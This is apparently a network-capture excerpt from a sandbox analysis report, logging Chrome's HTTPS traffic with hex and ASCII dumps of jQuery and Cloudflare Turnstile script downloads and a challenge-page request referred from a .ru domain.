5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-13 20:17:23 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-13 20:17:23 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-13 20:17:23 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-13 20:17:23 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-01-13 20:17:23 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	62502	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:24 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:24 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:24 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 901811ce6ee44263-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:24 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-13 20:17:24 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	62503	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:24 UTC	798	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://8zkl.gratzeware.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:24 UTC	1362	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26635 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-13 20:17:24 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 31 38 31 31 63 65 36 61 35 39 66 37 39 37 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 901811ce6a59f797-EWRalt-svc: h3=":443"; ma=86400
2025-01-13 20:17:24 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
